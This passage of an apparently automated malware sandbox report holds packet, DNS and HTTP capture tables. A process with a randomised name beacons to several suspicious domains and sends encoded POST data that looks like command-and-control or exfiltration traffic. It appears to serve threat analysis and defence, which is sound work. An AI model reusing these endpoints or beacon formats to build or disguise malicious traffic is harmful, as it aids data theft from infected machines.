Nov 27, 2024 16:44:00.225033045 CET	80	49826	139.162.181.76	192.168.2.4
Nov 27, 2024 16:44:00.225045919 CET	80	49826	139.162.181.76	192.168.2.4
Nov 27, 2024 16:44:00.225215912 CET	49826	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:44:00.228317022 CET	49826	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:44:00.348635912 CET	80	49826	139.162.181.76	192.168.2.4
Nov 27, 2024 16:44:06.205841064 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:06.331506968 CET	80	49841	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:06.331710100 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:06.346745014 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:06.466855049 CET	80	49841	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:07.849371910 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:07.968125105 CET	80	49841	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:07.968146086 CET	80	49841	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:07.968245029 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:07.968403101 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:07.969779015 CET	80	49841	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:07.969839096 CET	49841	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:08.883502960 CET	49847	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:09.006347895 CET	80	49847	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:09.006517887 CET	49847	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:09.022443056 CET	49847	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:09.142997980 CET	80	49847	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:10.536744118 CET	49847	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:10.657433033 CET	80	49847	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:10.657493114 CET	49847	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:11.555684090 CET	49853	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:11.676819086 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.677561998 CET	49853	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:11.692883968 CET	49853	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:11.813209057 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813250065 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813302040 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813329935 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813363075 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813431025 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813529015 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813558102 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:11.813591003 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:13.209788084 CET	49853	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:13.330367088 CET	80	49853	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:13.330459118 CET	49853	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:14.241475105 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:14.361958981 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:14.362072945 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:14.372795105 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:14.493123055 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.038902998 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.038922071 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.038995981 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039007902 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039079905 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.039097071 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039108992 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039110899 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.039123058 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039156914 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.039302111 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039330006 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039341927 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.039341927 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.039380074 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.159933090 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.159967899 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.160089016 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.163788080 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.163830042 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.163896084 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.267220974 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.267340899 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.267462969 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.272604942 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.273983002 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.274029016 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.274046898 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.278599024 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.278659105 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.278686047 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.285677910 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:16.285784960 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.288695097 CET	49860	80	192.168.2.4	154.23.176.197
Nov 27, 2024 16:44:16.408736944 CET	80	49860	154.23.176.197	192.168.2.4
Nov 27, 2024 16:44:21.789155006 CET	49878	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:21.909564972 CET	80	49878	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:21.909666061 CET	49878	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:21.925726891 CET	49878	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:22.046521902 CET	80	49878	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:23.316205025 CET	80	49878	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:23.316293001 CET	80	49878	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:23.316349983 CET	49878	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:23.427500963 CET	49878	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:24.448442936 CET	49884	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:24.570327044 CET	80	49884	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:24.570410967 CET	49884	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:24.587764978 CET	49884	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:24.709201097 CET	80	49884	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:25.958144903 CET	80	49884	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:25.958183050 CET	80	49884	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:25.958240032 CET	49884	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:26.099571943 CET	49884	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:27.121491909 CET	49891	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:27.243498087 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.243582964 CET	49891	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:27.263787031 CET	49891	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:27.383924961 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.383955956 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.383965969 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.384046078 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.384053946 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.384172916 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.384200096 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.384244919 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:27.384254932 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:28.671099901 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:28.724138021 CET	49891	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:28.771012068 CET	49891	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:28.798119068 CET	80	49891	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:28.798180103 CET	49891	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:29.790108919 CET	49898	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:29.910196066 CET	80	49898	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:29.910340071 CET	49898	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:29.924264908 CET	49898	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:30.044363022 CET	80	49898	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:31.285835981 CET	80	49898	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:31.285865068 CET	80	49898	194.58.112.174	192.168.2.4
Nov 27, 2024 16:44:31.286010981 CET	49898	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:31.288933992 CET	49898	80	192.168.2.4	194.58.112.174
Nov 27, 2024 16:44:31.408817053 CET	80	49898	194.58.112.174	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 16:43:17.612473965 CET	53191	53	192.168.2.4	1.1.1.1
Nov 27, 2024 16:43:18.099901915 CET	53	53191	1.1.1.1	192.168.2.4
Nov 27, 2024 16:43:34.432089090 CET	63639	53	192.168.2.4	1.1.1.1
Nov 27, 2024 16:43:35.253838062 CET	53	63639	1.1.1.1	192.168.2.4
Nov 27, 2024 16:43:49.712816000 CET	49862	53	192.168.2.4	1.1.1.1
Nov 27, 2024 16:43:50.443731070 CET	53	49862	1.1.1.1	192.168.2.4
Nov 27, 2024 16:44:05.243964911 CET	62398	53	192.168.2.4	1.1.1.1
Nov 27, 2024 16:44:06.203043938 CET	53	62398	1.1.1.1	192.168.2.4
Nov 27, 2024 16:44:21.306240082 CET	62258	53	192.168.2.4	1.1.1.1
Nov 27, 2024 16:44:21.781784058 CET	53	62258	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 27, 2024 16:43:17.612473965 CET	192.168.2.4	1.1.1.1	0x91b7	Standard query (0)	www.dojodigitize.shop	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:43:34.432089090 CET	192.168.2.4	1.1.1.1	0xa5f1	Standard query (0)	www.17jkgl.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:43:49.712816000 CET	192.168.2.4	1.1.1.1	0xbda1	Standard query (0)	www.alvinsd.buzz	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:44:05.243964911 CET	192.168.2.4	1.1.1.1	0x528f	Standard query (0)	www.shipincheshi.today	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:44:21.306240082 CET	192.168.2.4	1.1.1.1	0x4082	Standard query (0)	www.elinor.club	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 16:43:18.099901915 CET	1.1.1.1	192.168.2.4	0x91b7	No error (0)	www.dojodigitize.shop	dojodigitize.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 16:43:18.099901915 CET	1.1.1.1	192.168.2.4	0x91b7	No error (0)	dojodigitize.shop		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:43:18.099901915 CET	1.1.1.1	192.168.2.4	0x91b7	No error (0)	dojodigitize.shop		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:43:35.253838062 CET	1.1.1.1	192.168.2.4	0xa5f1	No error (0)	www.17jkgl.com		38.6.78.235	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:43:50.443731070 CET	1.1.1.1	192.168.2.4	0xbda1	No error (0)	www.alvinsd.buzz		139.162.181.76	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:43:50.443731070 CET	1.1.1.1	192.168.2.4	0xbda1	No error (0)	www.alvinsd.buzz		172.104.149.86	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:44:06.203043938 CET	1.1.1.1	192.168.2.4	0x528f	No error (0)	www.shipincheshi.today		154.23.176.197	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:44:06.203043938 CET	1.1.1.1	192.168.2.4	0x528f	No error (0)	www.shipincheshi.today		154.23.176.232	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:44:21.781784058 CET	1.1.1.1	192.168.2.4	0x4082	No error (0)	www.elinor.club		194.58.112.174	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dojodigitize.shop

www.17jkgl.com

www.alvinsd.buzz

www.shipincheshi.today

www.elinor.club

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	15.197.142.173	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:18.238176107 CET	466	OUT	GET /3acc/?LRW=skYxN//30ryIi85Wi0QpETYUbcdPFuXI+97QewxhrY3NM2hqn6Sq2BPHPiKxfL80eN+v/gcRWuFAYeqrMVkPGGlMHJiH0BFPFC9u+m//81WV26UqMu5nMks=&fvqp6=9vfXK HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.dojodigitize.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Nov 27, 2024 16:43:19.386939049 CET	133	IN	HTTP/1.1 404 Not Found Server: awselb/2.0 Date: Wed, 27 Nov 2024 15:43:19 GMT Content-Length: 0 Connection: close WAFRule: 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49768	38.6.78.235	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:35.393528938 CET	719	OUT	POST /yjgs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.17jkgl.com Origin: http://www.17jkgl.com Referer: http://www.17jkgl.com/yjgs/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 200 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 30 4e 4e 46 6c 62 32 45 62 2b 77 37 49 74 6d 45 6d 70 34 70 6c 50 59 7a 54 5a 4e 54 45 74 47 44 4e 68 4d 54 53 78 57 4e 6f 77 30 41 39 37 56 41 37 30 33 52 32 33 35 56 46 2b 48 4c 59 64 4c 54 6e 79 75 6c 77 71 67 33 73 53 74 42 5a 52 34 34 4e 41 44 70 79 4e 2f 4e 4b 36 50 54 7a 54 52 51 53 52 70 67 67 30 6f 4d 65 61 6e 65 51 79 38 56 36 79 36 39 6e 75 70 4b 45 34 64 6b 53 77 49 43 50 4f 72 71 65 34 34 4f 42 54 31 51 77 38 4a 4b 48 4c 6e 7a 54 75 54 53 47 4f 58 48 49 7a 2b 51 76 44 75 55 58 75 33 6e 41 51 51 6b 55 65 34 70 58 38 54 78 78 6e 51 42 4d 6a 6d 49 79 6f 34 5a 34 67 3d 3d Data Ascii: LRW=0NNFlb2Eb+w7ItmEmp4plPYzTZNTEtGDNhMTSxWNow0A97VA703R235VF+HLYdLTnyulwqg3sStBZR44NADpyN/NK6PTzTRQSRpgg0oMeaneQy8V6y69nupKE4dkSwICPOrqe44OBT1Qw8JKHLnzTuTSGOXHIz+QvDuUXu3nAQQkUe4pX8TxxnQBMjmIyo4Z4g==
Nov 27, 2024 16:43:36.752314091 CET	262	IN	HTTP/1.1 400 Bad Request Date: Wed, 27 Nov 2024 15:43:36 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 33 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b 01 00 92 54 0e 5c 0d 00 00 00 Data Ascii: 310Q/Qp/KT\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49775	38.6.78.235	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:38.051320076 CET	739	OUT	POST /yjgs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.17jkgl.com Origin: http://www.17jkgl.com Referer: http://www.17jkgl.com/yjgs/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 220 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 30 4e 4e 46 6c 62 32 45 62 2b 77 37 4a 4d 57 45 6c 49 34 70 79 66 59 79 4f 70 4e 54 57 74 48 4b 4e 67 77 54 53 77 53 6e 6f 46 63 41 34 72 6c 41 38 31 33 52 33 33 35 56 50 65 48 4f 46 4e 4c 61 6e 79 6a 61 77 71 4d 33 73 53 70 42 5a 51 49 34 4f 78 44 75 79 64 2f 54 4c 4b 50 52 39 7a 52 51 53 52 70 67 67 30 39 72 65 5a 58 65 51 43 4d 56 37 54 36 79 38 4f 70 4c 4e 59 64 6b 41 41 49 47 50 4f 71 48 65 35 6b 6b 42 56 78 51 77 35 74 4b 4a 2f 4b 42 4a 2b 54 55 62 2b 57 57 5a 54 44 36 33 44 62 6a 61 4e 71 47 64 42 38 2b 56 59 31 7a 47 4e 79 6d 6a 6e 30 79 52 6b 76 38 2f 72 46 51 6a 6c 78 6c 7a 4b 49 68 2b 74 6a 45 6d 37 78 73 39 67 61 70 76 34 77 3d Data Ascii: LRW=0NNFlb2Eb+w7JMWElI4pyfYyOpNTWtHKNgwTSwSnoFcA4rlA813R335VPeHOFNLanyjawqM3sSpBZQI4OxDuyd/TLKPR9zRQSRpgg09reZXeQCMV7T6y8OpLNYdkAAIGPOqHe5kkBVxQw5tKJ/KBJ+TUb+WWZTD63DbjaNqGdB8+VY1zGNymjn0yRkv8/rFQjlxlzKIh+tjEm7xs9gapv4w=
Nov 27, 2024 16:43:39.370203018 CET	262	IN	HTTP/1.1 400 Bad Request Date: Wed, 27 Nov 2024 15:43:39 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 33 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b 01 00 92 54 0e 5c 0d 00 00 00 Data Ascii: 310Q/Qp/KT\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	38.6.78.235	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:40.707643032 CET	10821	OUT	POST /yjgs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.17jkgl.com Origin: http://www.17jkgl.com Referer: http://www.17jkgl.com/yjgs/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10300 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 30 4e 4e 46 6c 62 32 45 62 2b 77 37 4a 4d 57 45 6c 49 34 70 79 66 59 79 4f 70 4e 54 57 74 48 4b 4e 67 77 54 53 77 53 6e 6f 44 45 41 34 34 64 41 38 57 66 52 6c 6e 35 56 4d 65 48 50 46 4e 4b 49 6e 79 72 65 77 71 51 42 73 52 42 42 59 7a 51 34 50 44 72 75 38 64 2f 54 4f 36 50 63 7a 54 52 46 53 58 4a 73 67 30 74 72 65 5a 58 65 51 42 55 56 38 43 36 79 37 2b 70 4b 45 34 64 6f 53 77 49 2b 50 4b 48 79 65 35 51 65 42 46 52 51 78 5a 64 4b 4c 4d 79 42 52 75 54 57 59 2b 57 4f 5a 54 50 68 33 44 48 56 61 4f 33 54 64 43 67 2b 55 66 6b 52 5a 4a 79 4c 2f 48 38 76 4c 54 66 76 33 36 70 31 71 6c 4d 59 79 70 42 34 69 38 44 59 73 38 4d 58 6c 53 69 45 32 2b 4e 65 6d 48 78 62 51 4e 77 70 47 79 54 41 68 64 47 7a 72 53 4c 79 77 76 39 77 4a 51 4c 38 48 48 32 31 35 38 41 6c 30 6c 6f 78 47 78 35 72 79 54 4f 78 2b 44 72 4d 6f 51 64 67 64 68 34 47 6b 38 66 78 33 37 30 4a 4b 75 34 6d 46 47 66 37 43 78 46 38 41 32 30 5a 6a 75 37 61 31 41 43 44 66 62 4a 41 54 61 31 44 50 57 6e 35 30 4b 38 59 58 54 36 6c 6a 76 30 4e 4d 39 [TRUNCATED] Data Ascii: LRW=0NNFlb2Eb+w7JMWElI4pyfYyOpNTWtHKNgwTSwSnoDEA44dA8WfRln5VMeHPFNKInyrewqQBsRBBYzQ4PDru8d/TO6PczTRFSXJsg0treZXeQBUV8C6y7+pKE4doSwI+PKHye5QeBFRQxZdKLMyBRuTWY+WOZTPh3DHVaO3TdCg+UfkRZJyL/H8vLTfv36p1qlMYypB4i8DYs8MXlSiE2+NemHxbQNwpGyTAhdGzrSLywv9wJQL8HH2158Al0loxGx5ryTOx+DrMoQdgdh4Gk8fx370JKu4mFGf7CxF8A20Zju7a1ACDfbJATa1DPWn50K8YXT6ljv0NM9nvIeMzIFlHn3IGjLtOJxgoRIouNXoNn1V1uFCNuzjI2bFAHoUpOEYI37olGUEtUPsTz+2N2yHdi8p1rrL/449T+bQN3NyHaSz+0AtM7UeBMo/v5gcKHfkbvYbMX0Mt9BPAv4mXwHRHq5sgClOAMphhUVbNCyWYe+Lf0v8+X87Q5ZmxvobSDfr4RpH+HpGexTbr3kPFCvk58dQC4gxcjARAgjlJtXG8f1ENnWsQ0cUnxt31hkFBgoKVnipFk2za3l6Q5rd4j2Fm7hg2DID1faAXRUifp3eJVzJDtdWwZVsqJAUtY+WbSMQN0w6CY3IjMaCxhUDsXD7/jFjw4gV36S3bnC1AZc0Z0IvZzqvzV3h8skPnFGpQ5Q8yP0WtyPN4lk1PMsEj+C4EtqkKitG1jXjRa/BCYAeKV0n2Ck2CJddkfysKjcyqgc2bJlvzJ6JZiwahFx0VcTv06S4s8BFTGFksAtcz74/zkc+NIb0jCQB9OOyZ0jDwZKVuUNjrxZRxc0xQkGx81H6DY1s6eguMMuesD6fIm9ys4yNZ3m1OJUNkBowbjz/9WWCrfLQxjS0KZEqKob3B0tTAKciUWUh0IiehIZ8Dofb2Ig0bNvwjGDLT+Vb2zdfDadFELVAO8Dj+ISgoGkt2T83VnuaUpkYjXdmEzDWwh3R3OVhR [TRUNCATED]
Nov 27, 2024 16:43:42.095628977 CET	262	IN	HTTP/1.1 400 Bad Request Date: Wed, 27 Nov 2024 15:43:41 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 33 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b 01 00 92 54 0e 5c 0d 00 00 00 Data Ascii: 310Q/Qp/KT\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49787	38.6.78.235	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:43.359163046 CET	459	OUT	GET /yjgs/?LRW=5PllmvK0caJhA9qO+og5+P8kc5JWR+uQLy91XhuloCAo6K0czluNggt7J8fRT5aF3DbStYNhlgg+eys4IUnD8eH0N6/eozV0E04Jm3Q8YYXSei9vmTSoi+w=&fvqp6=9vfXK HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.17jkgl.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Nov 27, 2024 16:43:44.696460009 CET	189	IN	HTTP/1.1 503 Service Unavailable Date: Wed, 27 Nov 2024 15:43:44 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49803	139.162.181.76	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:50.644484043 CET	725	OUT	POST /d43q/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.alvinsd.buzz Origin: http://www.alvinsd.buzz Referer: http://www.alvinsd.buzz/d43q/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 200 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 6e 4d 61 64 63 5a 31 78 70 6c 2f 72 70 70 59 79 4e 68 57 41 59 58 77 4c 5a 51 66 76 70 52 47 2f 4d 6e 6c 54 73 69 39 53 71 4c 70 35 77 4f 30 54 50 37 35 69 36 72 4b 32 7a 4a 55 58 62 71 39 51 32 6a 74 47 4e 31 33 68 38 78 31 32 49 65 53 52 41 36 45 6d 37 55 79 47 31 68 53 6a 46 36 54 57 43 61 66 79 54 48 61 50 63 66 53 53 7a 74 41 50 63 72 72 70 31 41 59 71 72 34 4c 63 43 41 58 61 4f 77 70 5a 6f 56 72 62 73 58 77 30 47 4c 42 41 36 6b 69 68 43 4d 36 33 47 57 4f 44 43 77 75 69 39 78 71 63 6c 48 72 51 34 70 4e 61 52 6e 45 66 41 54 75 51 5a 6d 53 6d 61 36 6d 6b 2b 44 51 31 66 77 3d 3d Data Ascii: 